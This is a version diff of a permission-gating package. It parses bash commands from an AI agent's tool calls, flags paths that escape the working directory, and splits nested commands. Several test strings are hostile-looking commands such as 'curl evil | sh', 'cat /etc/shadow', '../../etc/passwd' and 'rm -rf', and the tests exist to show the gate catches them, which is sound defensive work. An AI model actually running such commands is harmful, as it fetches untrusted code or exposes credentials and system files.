@gotgenes/pi-permission-system 16.0.0 → 16.0.2

package/src/handlers/gates/tool-call-gate-pipeline.ts

@@ -1,3 +1,4 @@
+import { BashProgram } from "#src/access-intent/bash/program";
 import { getNonEmptyString, toRecord } from "#src/common";
 import type { ScopedPermissionResolver } from "#src/permission-resolver";
 import type { SkillPromptEntry } from "#src/skill-prompt-sanitizer";
@@ -10,7 +11,6 @@ import {
 import { resolveBashCommandCheck } from "./bash-command";
 import { describeBashExternalDirectoryGate } from "./bash-external-directory";
 import { describeBashPathGate } from "./bash-path";
-import { BashProgram } from "./bash-program";
 import type { GateResult } from "./descriptor";
 import { describeExternalDirectoryGate } from "./external-directory";
 import { describePathGate } from "./path";
@@ -66,7 +66,7 @@ export class ToolCallGatePipeline {
     const command = getNonEmptyString(toRecord(tcc.input).command);
     const bashProgram =
       tcc.toolName === "bash" && command
-        ? await BashProgram.parse(command)
+        ? await BashProgram.parse(command, tcc.cwd)
         : null;
 
     const formatter = new ToolPreviewFormatter(

package/src/handlers/gates/tool.ts

@@ -28,7 +28,7 @@ function deriveSuggestionValue(
   if (tcc.toolName === "mcp") return check.target ?? "mcp";
   const path = getPathBearingToolPath(tcc.toolName, tcc.input);
   if (path === null) return "*";
-  return tcc.cwd ? normalizePathForComparison(path, tcc.cwd) : path;
+  return normalizePathForComparison(path, tcc.cwd);
 }
 
 /**

package/src/handlers/gates/types.ts

@@ -9,5 +9,5 @@ export interface ToolCallContext {
   agentName: string | null;
   input: unknown;
   toolCallId: string;
-  cwd: string | undefined;
+  cwd: string;
 }

package/test/access-intent/bash/node-text.test.ts

@@ -0,0 +1,147 @@
+import { describe, expect, it } from "vitest";
+import {
+  resolveNodeText,
+  SKIP_SUBTREE_TYPES,
+} from "#src/access-intent/bash/node-text";
+import type { TSNode } from "#src/access-intent/bash/parser";
+
+// Minimal fake TSNode builder — only fills the fields resolveNodeText reads.
+function makeNode(type: string, text: string, children: TSNode[] = []): TSNode {
+  return {
+    type,
+    text,
+    childCount: children.length,
+    isNamed: true,
+    child: (i) => children[i] ?? null,
+  };
+}
+
+describe("SKIP_SUBTREE_TYPES", () => {
+  it("contains the three node types that must not be descended", () => {
+    expect(SKIP_SUBTREE_TYPES.has("heredoc_body")).toBe(true);
+    expect(SKIP_SUBTREE_TYPES.has("heredoc_end")).toBe(true);
+    expect(SKIP_SUBTREE_TYPES.has("comment")).toBe(true);
+  });
+
+  it("does not contain common argument node types", () => {
+    expect(SKIP_SUBTREE_TYPES.has("word")).toBe(false);
+    expect(SKIP_SUBTREE_TYPES.has("string")).toBe(false);
+    expect(SKIP_SUBTREE_TYPES.has("raw_string")).toBe(false);
+  });
+});
+
+describe("resolveNodeText", () => {
+  describe("word nodes", () => {
+    it("returns the node text unchanged", () => {
+      expect(resolveNodeText(makeNode("word", "hello"))).toBe("hello");
+    });
+  });
+
+  describe("raw_string nodes (single-quoted)", () => {
+    it("strips surrounding single quotes", () => {
+      expect(resolveNodeText(makeNode("raw_string", "'content'"))).toBe(
+        "content",
+      );
+    });
+
+    it("strips single quotes around a path", () => {
+      expect(resolveNodeText(makeNode("raw_string", "'/etc/hosts'"))).toBe(
+        "/etc/hosts",
+      );
+    });
+
+    it("returns text as-is when not fully single-quoted", () => {
+      // A raw_string node without enclosing quotes (defensive fallback)
+      expect(resolveNodeText(makeNode("raw_string", "noquotes"))).toBe(
+        "noquotes",
+      );
+    });
+  });
+
+  describe("string nodes (double-quoted)", () => {
+    it("concatenates inner word children, skipping quote delimiters", () => {
+      const quoteOpen = makeNode('"', '"');
+      const content = makeNode("string_content", "hello world");
+      const quoteClose = makeNode('"', '"');
+      const node = makeNode("string", '"hello world"', [
+        quoteOpen,
+        content,
+        quoteClose,
+      ]);
+      expect(resolveNodeText(node)).toBe("hello world");
+    });
+
+    it("concatenates multiple inner children", () => {
+      const quoteOpen = makeNode('"', '"');
+      const part1 = makeNode("string_content", "foo");
+      const part2 = makeNode("simple_expansion", "$BAR");
+      const quoteClose = makeNode('"', '"');
+      const node = makeNode("string", '"foo$BAR"', [
+        quoteOpen,
+        part1,
+        part2,
+        quoteClose,
+      ]);
+      expect(resolveNodeText(node)).toBe("foo$BAR");
+    });
+
+    it("returns empty string for an empty double-quoted string", () => {
+      const quoteOpen = makeNode('"', '"');
+      const quoteClose = makeNode('"', '"');
+      const node = makeNode("string", '""', [quoteOpen, quoteClose]);
+      expect(resolveNodeText(node)).toBe("");
+    });
+  });
+
+  describe("string_content, simple_expansion, and expansion nodes", () => {
+    it("returns text as-is for string_content", () => {
+      expect(resolveNodeText(makeNode("string_content", "plain text"))).toBe(
+        "plain text",
+      );
+    });
+
+    it("returns text as-is for simple_expansion (e.g. $HOME)", () => {
+      // retro 0350: $HOME returns the literal text of a simple_expansion node
+      expect(resolveNodeText(makeNode("simple_expansion", "$HOME"))).toBe(
+        "$HOME",
+      );
+    });
+
+    it("returns text as-is for expansion", () => {
+      // biome-ignore lint/suspicious/noTemplateCurlyInString: intentional literal — testing that expansion node text is returned verbatim
+      expect(resolveNodeText(makeNode("expansion", "${VAR}"))).toBe("${VAR}");
+    });
+  });
+
+  describe("concatenation nodes", () => {
+    it("concatenates resolved children", () => {
+      const word = makeNode("word", "/etc/");
+      const expansion = makeNode("simple_expansion", "$FILE");
+      const node = makeNode("concatenation", "/etc/$FILE", [word, expansion]);
+      expect(resolveNodeText(node)).toBe("/etc/$FILE");
+    });
+
+    it("handles nested concatenation-of-string", () => {
+      // A concatenation whose child is a double-quoted string
+      const quoteOpen = makeNode('"', '"');
+      const content = makeNode("string_content", "bar");
+      const quoteClose = makeNode('"', '"');
+      const inner = makeNode("string", '"bar"', [
+        quoteOpen,
+        content,
+        quoteClose,
+      ]);
+      const prefix = makeNode("word", "foo");
+      const node = makeNode("concatenation", 'foo"bar"', [prefix, inner]);
+      expect(resolveNodeText(node)).toBe("foobar");
+    });
+  });
+
+  describe("default fallback", () => {
+    it("returns the raw text for unknown node types", () => {
+      expect(resolveNodeText(makeNode("unknown_type", "rawtext"))).toBe(
+        "rawtext",
+      );
+    });
+  });
+});

package/test/access-intent/bash/parser.test.ts

@@ -0,0 +1,19 @@
+import { describe, expect, it } from "vitest";
+import { getParser } from "#src/access-intent/bash/parser";
+
+describe("getParser", () => {
+  it("parses a simple bash command and returns a non-null root node", async () => {
+    const parser = await getParser();
+    const tree = parser.parse("echo hi");
+    expect(tree).not.toBeNull();
+    expect(tree?.rootNode).toBeDefined();
+    expect(tree?.rootNode.type).toBe("program");
+    tree?.delete();
+  });
+
+  it("returns the same memoized parser instance on repeated calls", async () => {
+    const first = await getParser();
+    const second = await getParser();
+    expect(first).toBe(second);
+  });
+});

package/test/{handlers/gates/bash-program.test.ts → access-intent/bash/program.test.ts}

@@ -10,15 +10,15 @@ vi.mock("node:fs", () => ({
   default: { realpathSync },
 }));
 
-import { BashProgram } from "#src/handlers/gates/bash-program";
+import { BashProgram } from "#src/access-intent/bash/program";
 
 describe("BashProgram", () => {
   describe("pathRuleCandidates", () => {
     const cwd = "/projects/my-app";
 
     it("adds absolute and relative policy values for relative tokens", async () => {
-      const program = await BashProgram.parse("cat src/foo.ts");
-      expect(program.pathRuleCandidates(cwd)).toEqual([
+      const program = await BashProgram.parse("cat src/foo.ts", cwd);
+      expect(program.pathRuleCandidates()).toEqual([
         {
           token: "src/foo.ts",
           policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
@@ -26,17 +26,13 @@ describe("BashProgram", () => {
       ]);
     });
 
-    it("returns the literal token only when no cwd is provided", async () => {
-      const program = await BashProgram.parse("cat src/foo.ts");
-      expect(program.pathRuleCandidates()).toEqual([
-        { token: "src/foo.ts", policyValues: ["src/foo.ts"] },
-      ]);
-    });
-
     it("resolves tokens after literal cd against the effective directory", async () => {
-      const program = await BashProgram.parse("cd nested && cat src/file.txt");
+      const program = await BashProgram.parse(
+        "cd nested && cat src/file.txt",
+        cwd,
+      );
       const fileCandidate = program
-        .pathRuleCandidates(cwd)
+        .pathRuleCandidates()
         .find((candidate) => candidate.token === "src/file.txt");
       expect(fileCandidate).toEqual({
         token: "src/file.txt",
@@ -49,9 +45,12 @@ describe("BashProgram", () => {
     });
 
     it("does not absolute-allow relative tokens after unknown cd", async () => {
-      const program = await BashProgram.parse('cd "$DIR" && cat src/foo.ts');
+      const program = await BashProgram.parse(
+        'cd "$DIR" && cat src/foo.ts',
+        cwd,
+      );
       const fileCandidate = program
-        .pathRuleCandidates(cwd)
+        .pathRuleCandidates()
         .find((candidate) => candidate.token === "src/foo.ts");
       expect(fileCandidate).toEqual({
         token: "src/foo.ts",
@@ -69,21 +68,24 @@ describe("BashProgram", () => {
     });
 
     it("returns absolute paths resolving outside cwd", async () => {
-      const program = await BashProgram.parse("cat /etc/hosts");
+      const program = await BashProgram.parse("cat /etc/hosts", cwd);
       // Subset matcher: the path is normalized before comparison.
-      expect(program.externalPaths(cwd)).toContain("/etc/hosts");
+      expect(program.externalPaths()).toContain("/etc/hosts");
     });
 
     it("excludes paths within cwd", async () => {
-      const program = await BashProgram.parse("cat src/index.ts");
-      expect(program.externalPaths(cwd)).toHaveLength(0);
+      const program = await BashProgram.parse("cat src/index.ts", cwd);
+      expect(program.externalPaths()).toHaveLength(0);
     });
 
     describe("effective working directory projection", () => {
       it("folds a sequence of current-shell cd commands", async () => {
         // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
-        const program = await BashProgram.parse("cd a && cd b && cat ../c");
-        expect(program.externalPaths(cwd)).toHaveLength(0);
+        const program = await BashProgram.parse(
+          "cd a && cd b && cat ../c",
+          cwd,
+        );
+        expect(program.externalPaths()).toHaveLength(0);
       });
 
       it("catches an escape masked by a later cd that the single-base model missed", async () => {
@@ -91,66 +93,73 @@ describe("BashProgram", () => {
         // ../../etc/passwd escapes to /projects/etc/passwd.
         const program = await BashProgram.parse(
           "cd nested/deep && cd .. && cat ../../etc/passwd",
+          cwd,
         );
-        expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
+        expect(program.externalPaths()).toContain("/projects/etc/passwd");
       });
 
       it("folds a cd that is not the first command", async () => {
         // The single-base model ignored a cd that was not first; now `cd a`
         // folds, so ../b resolves to cwd/b (inside) and is not flagged.
-        const program = await BashProgram.parse("mkdir d && cd a && cat ../b");
-        expect(program.externalPaths(cwd)).toHaveLength(0);
+        const program = await BashProgram.parse(
+          "mkdir d && cd a && cat ../b",
+          cwd,
+        );
+        expect(program.externalPaths()).toHaveLength(0);
       });
 
       it("does not fold a backgrounded cd", async () => {
         // `cd a &` runs in a subshell, so it must not update the running
         // directory; ../b resolves against cwd and escapes.
-        const program = await BashProgram.parse("cd a & cat ../b");
-        expect(program.externalPaths(cwd)).toContain("/projects/b");
+        const program = await BashProgram.parse("cd a & cat ../b", cwd);
+        expect(program.externalPaths()).toContain("/projects/b");
       });
 
       it("does not fold a cd inside a pipeline", async () => {
         // Pipeline members run in subshells; the cd must not leak.
-        const program = await BashProgram.parse("cd nested | cat ../b");
-        expect(program.externalPaths(cwd)).toContain("/projects/b");
+        const program = await BashProgram.parse("cd nested | cat ../b", cwd);
+        expect(program.externalPaths()).toContain("/projects/b");
       });
 
       it("folds a cd inside a subshell for paths within that subshell", async () => {
         // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
-        const program = await BashProgram.parse("( cd sub && cat ../x )");
-        expect(program.externalPaths(cwd)).toHaveLength(0);
+        const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
+        expect(program.externalPaths()).toHaveLength(0);
       });
 
       it("does not leak a subshell cd to following commands", async () => {
         // The subshell cd resets on exit, so ../y resolves against cwd.
-        const program = await BashProgram.parse("( cd sub ) && cat ../y");
-        expect(program.externalPaths(cwd)).toContain("/projects/y");
+        const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
+        expect(program.externalPaths()).toContain("/projects/y");
       });
 
       it("persists a cd inside a brace group to later commands in the group", async () => {
         // Brace groups run in the current shell, so cd sub persists to cat ../x.
-        const program = await BashProgram.parse("{ cd sub; cat ../x; }");
-        expect(program.externalPaths(cwd)).toHaveLength(0);
+        const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
+        expect(program.externalPaths()).toHaveLength(0);
       });
 
       it("persists a brace-group cd to following sibling commands", async () => {
-        const program = await BashProgram.parse("{ cd sub; } && cat ../x");
-        expect(program.externalPaths(cwd)).toHaveLength(0);
+        const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
+        expect(program.externalPaths()).toHaveLength(0);
       });
 
       it("conservatively flags a relative path inside a command substitution", async () => {
         // Interior cd folding inside substitutions is deferred: the interior
         // inherits the enclosing base (cwd), so ../r is flagged rather than
         // resolved against cwd/q. Conservative — never misses an escape.
-        const program = await BashProgram.parse("echo $(cd q && cat ../r)");
-        expect(program.externalPaths(cwd)).toContain("/projects/r");
+        const program = await BashProgram.parse(
+          "echo $(cd q && cat ../r)",
+          cwd,
+        );
+        expect(program.externalPaths()).toContain("/projects/r");
       });
 
       it("flags relative paths conservatively after a non-literal cd", async () => {
         // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
         // so it is flagged (least-privilege).
-        const program = await BashProgram.parse('cd "$DIR" && cat ../x');
-        expect(program.externalPaths(cwd)).toContain("/projects/x");
+        const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
+        expect(program.externalPaths()).toContain("/projects/x");
       });
 
       it("flags even a within-cwd relative path after a non-literal cd", async () => {
@@ -158,8 +167,9 @@ describe("BashProgram", () => {
         // flagged because the effective dir is unknown.
         const program = await BashProgram.parse(
           'cd "$DIR" && cat src/../within.txt',
+          cwd,
         );
-        expect(program.externalPaths(cwd)).toContain(
+        expect(program.externalPaths()).toContain(
           "/projects/my-app/within.txt",
         );
       });
@@ -169,13 +179,14 @@ describe("BashProgram", () => {
         // even when the effective dir is unknown.
         const program = await BashProgram.parse(
           'cd "$DIR" && cat /projects/my-app/x.txt',
+          cwd,
         );
-        expect(program.externalPaths(cwd)).toHaveLength(0);
+        expect(program.externalPaths()).toHaveLength(0);
       });
 
       it("treats `cd -` as an unknown effective directory", async () => {
-        const program = await BashProgram.parse("cd - && cat ../x");
-        expect(program.externalPaths(cwd)).toContain("/projects/x");
+        const program = await BashProgram.parse("cd - && cat ../x", cwd);
+        expect(program.externalPaths()).toContain("/projects/x");
       });
 
       it("recovers a known base when a later cd is absolute", async () => {
@@ -183,8 +194,57 @@ describe("BashProgram", () => {
         // ../x resolves to cwd and is not flagged.
         const program = await BashProgram.parse(
           'cd "$DIR" && cd /projects/my-app/src && cat ../x',
+          cwd,
+        );
+        expect(program.externalPaths()).toHaveLength(0);
+      });
+
+      it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
+        // tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
+        // `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
+        // inside a `pipeline` node. Bash precedence (`|` binds tighter than
+        // `&&`) makes `cd a` current-shell, so the fold must persist past the
+        // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
+        const program = await BashProgram.parse(
+          "cd a && pnpm x 2>&1 | tail ; cat ../b",
+          cwd,
+        );
+        expect(program.externalPaths()).toHaveLength(0);
+      });
+
+      it("persists the fold past a redirect-then-pipe to a later cd", async () => {
+        // The issue reproduction: the fold from `cd a/b` survives the
+        // redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
+        // cwd instead of escaping one level above.
+        const program = await BashProgram.parse(
+          "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
+          cwd,
+        );
+        expect(program.externalPaths()).toHaveLength(0);
+      });
+
+      it("does not fold the terminal piped command of the first stage", async () => {
+        // Fail-closed: `cd b` is the terminal command of the first stage, i.e.
+        // the real pipe stage (a subshell), so it must NOT fold. With the
+        // correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
+        // wrongly folded, the base would be cwd/a/b and ../../x would stay
+        // inside — a fail-open regression this test pins.
+        const program = await BashProgram.parse(
+          "cd a && cd b 2>&1 | tail ; cat ../../x",
+          cwd,
         );
-        expect(program.externalPaths(cwd)).toHaveLength(0);
+        expect(program.externalPaths()).toContain("/projects/x");
+      });
+
+      it("resolves a downstream pipe stage against the folded base", async () => {
+        // The stage after the `|` runs in a subshell that inherits the folded
+        // cwd/a, so ../foo resolves inside cwd rather than escaping against the
+        // pre-cd base.
+        const program = await BashProgram.parse(
+          "cd a && pnpm x 2>&1 | cat ../foo",
+          cwd,
+        );
+        expect(program.externalPaths()).toHaveLength(0);
       });
     });
 
@@ -200,8 +260,9 @@ describe("BashProgram", () => {
       });
       const program = await BashProgram.parse(
         "cat /projects/my-app/link/hosts",
+        cwd,
       );
-      const external = program.externalPaths(cwd);
+      const external = program.externalPaths();
       expect(external).toContain("/projects/my-app/link/hosts");
       expect(external).not.toContain("/etc/hosts");
     });
@@ -214,19 +275,24 @@ describe("BashProgram", () => {
         if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
         return p;
       });
-      const program = await BashProgram.parse("cat /tmp/workspace/file.ts");
-      expect(program.externalPaths(symlinkCwd)).toHaveLength(0);
+      const program = await BashProgram.parse(
+        "cat /tmp/workspace/file.ts",
+        symlinkCwd,
+      );
+      expect(program.externalPaths()).toHaveLength(0);
     });
   });
 
   describe("commands", () => {
+    const cwd = "/projects/my-app";
+
     it("returns a single-element list for a lone command", async () => {
-      const program = await BashProgram.parse("npm install pkg");
+      const program = await BashProgram.parse("npm install pkg", cwd);
       expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
     });
 
     it("splits an && chain", async () => {
-      const program = await BashProgram.parse("cd /p && npm i x");
+      const program = await BashProgram.parse("cd /p && npm i x", cwd);
       expect(program.commands()).toEqual([
         { text: "cd /p" },
         { text: "npm i x" },
@@ -234,22 +300,22 @@ describe("BashProgram", () => {
     });
 
     it("splits || , ; and & separators", async () => {
-      expect((await BashProgram.parse("a || b")).commands()).toEqual([
+      expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
         { text: "a" },
         { text: "b" },
       ]);
-      expect((await BashProgram.parse("a ; b")).commands()).toEqual([
+      expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
         { text: "a" },
         { text: "b" },
       ]);
-      expect((await BashProgram.parse("a & b")).commands()).toEqual([
+      expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
         { text: "a" },
         { text: "b" },
       ]);
     });
 
     it("splits a pipeline into its commands", async () => {
-      const program = await BashProgram.parse("cat f | grep b");
+      const program = await BashProgram.parse("cat f | grep b", cwd);
       expect(program.commands()).toEqual([
         { text: "cat f" },
         { text: "grep b" },
@@ -257,22 +323,22 @@ describe("BashProgram", () => {
     });
 
     it("splits newline-separated commands", async () => {
-      const program = await BashProgram.parse("foo\nbar");
+      const program = await BashProgram.parse("foo\nbar", cwd);
       expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
     });
 
     it("does not split operators inside quotes", async () => {
-      const program = await BashProgram.parse("echo 'x && y'");
+      const program = await BashProgram.parse("echo 'x && y'", cwd);
       expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
     });
 
     it("captures the command of a redirected statement without the redirect", async () => {
-      const program = await BashProgram.parse("npm install > out.txt");
+      const program = await BashProgram.parse("npm install > out.txt", cwd);
       expect(program.commands()).toEqual([{ text: "npm install" }]);
     });
 
     it("descends into command substitution, tagging the inner command", async () => {
-      const program = await BashProgram.parse("echo $(rm -rf foo)");
+      const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
       expect(program.commands()).toEqual([
         { text: "echo $(rm -rf foo)" },
         { text: "rm -rf foo", context: "command_substitution" },
@@ -280,7 +346,7 @@ describe("BashProgram", () => {
     });
 
     it("descends into backtick command substitution", async () => {
-      const program = await BashProgram.parse("echo `rm x`");
+      const program = await BashProgram.parse("echo `rm x`", cwd);
       expect(program.commands()).toEqual([
         { text: "echo `rm x`" },
         { text: "rm x", context: "command_substitution" },
@@ -288,7 +354,7 @@ describe("BashProgram", () => {
     });
 
     it("descends into a pipeline inside command substitution", async () => {
-      const program = await BashProgram.parse("echo $(curl evil | sh)");
+      const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
       expect(program.commands()).toEqual([
         { text: "echo $(curl evil | sh)" },
         { text: "curl evil", context: "command_substitution" },
@@ -297,7 +363,7 @@ describe("BashProgram", () => {
     });
 
     it("descends into process substitution", async () => {
-      const program = await BashProgram.parse("diff <(cat /etc/shadow)");
+      const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
       expect(program.commands()).toEqual([
         { text: "diff <(cat /etc/shadow)" },
         { text: "cat /etc/shadow", context: "process_substitution" },
@@ -305,7 +371,7 @@ describe("BashProgram", () => {
     });
 
     it("emits a bare subshell whole and descends into it", async () => {
-      const program = await BashProgram.parse("( rm -rf foo )");
+      const program = await BashProgram.parse("( rm -rf foo )", cwd);
       expect(program.commands()).toEqual([
         { text: "( rm -rf foo )" },
         { text: "rm -rf foo", context: "subshell" },
@@ -313,7 +379,7 @@ describe("BashProgram", () => {
     });
 
     it("emits a subshell whole and descends into its chain", async () => {
-      const program = await BashProgram.parse("( cd /t && rm x )");
+      const program = await BashProgram.parse("( cd /t && rm x )", cwd);
       expect(program.commands()).toEqual([
         { text: "( cd /t && rm x )" },
         { text: "cd /t", context: "subshell" },
@@ -322,7 +388,7 @@ describe("BashProgram", () => {
     });
 
     it("descends recursively through nested contexts", async () => {
-      const program = await BashProgram.parse("echo $( ( rm x ) )");
+      const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
       expect(program.commands()).toEqual([
         { text: "echo $( ( rm x ) )" },
         { text: "( rm x )", context: "command_substitution" },
@@ -331,7 +397,7 @@ describe("BashProgram", () => {
     });
 
     it("descends into a substitution within a chained command", async () => {
-      const program = await BashProgram.parse("cd /p && echo $(rm x)");
+      const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
       expect(program.commands()).toEqual([
         { text: "cd /p" },
         { text: "echo $(rm x)" },
@@ -340,7 +406,7 @@ describe("BashProgram", () => {
     });
 
     it("keeps the never-weaker invariant: a benign inner command stays", async () => {
-      const program = await BashProgram.parse("echo $(echo safe)");
+      const program = await BashProgram.parse("echo $(echo safe)", cwd);
       expect(program.commands()).toEqual([
         { text: "echo $(echo safe)" },
         { text: "echo safe", context: "command_substitution" },
@@ -348,18 +414,19 @@ describe("BashProgram", () => {
     });
 
     it("returns an empty list for an empty or whitespace command", async () => {
-      expect((await BashProgram.parse("")).commands()).toEqual([]);
-      expect((await BashProgram.parse("   ")).commands()).toEqual([]);
+      expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
+      expect((await BashProgram.parse("   ", cwd)).commands()).toEqual([]);
     });
   });
 
   it("derives both slices from a single parse", async () => {
-    const program = await BashProgram.parse("cat .env /etc/hosts");
+    const cwd = "/projects/my-app";
+    const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
     expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
       ".env",
       "/etc/hosts",
     ]);
-    const external = program.externalPaths("/projects/my-app");
+    const external = program.externalPaths();
     expect(external).toContain("/etc/hosts");
     expect(external).not.toContain(".env");
   });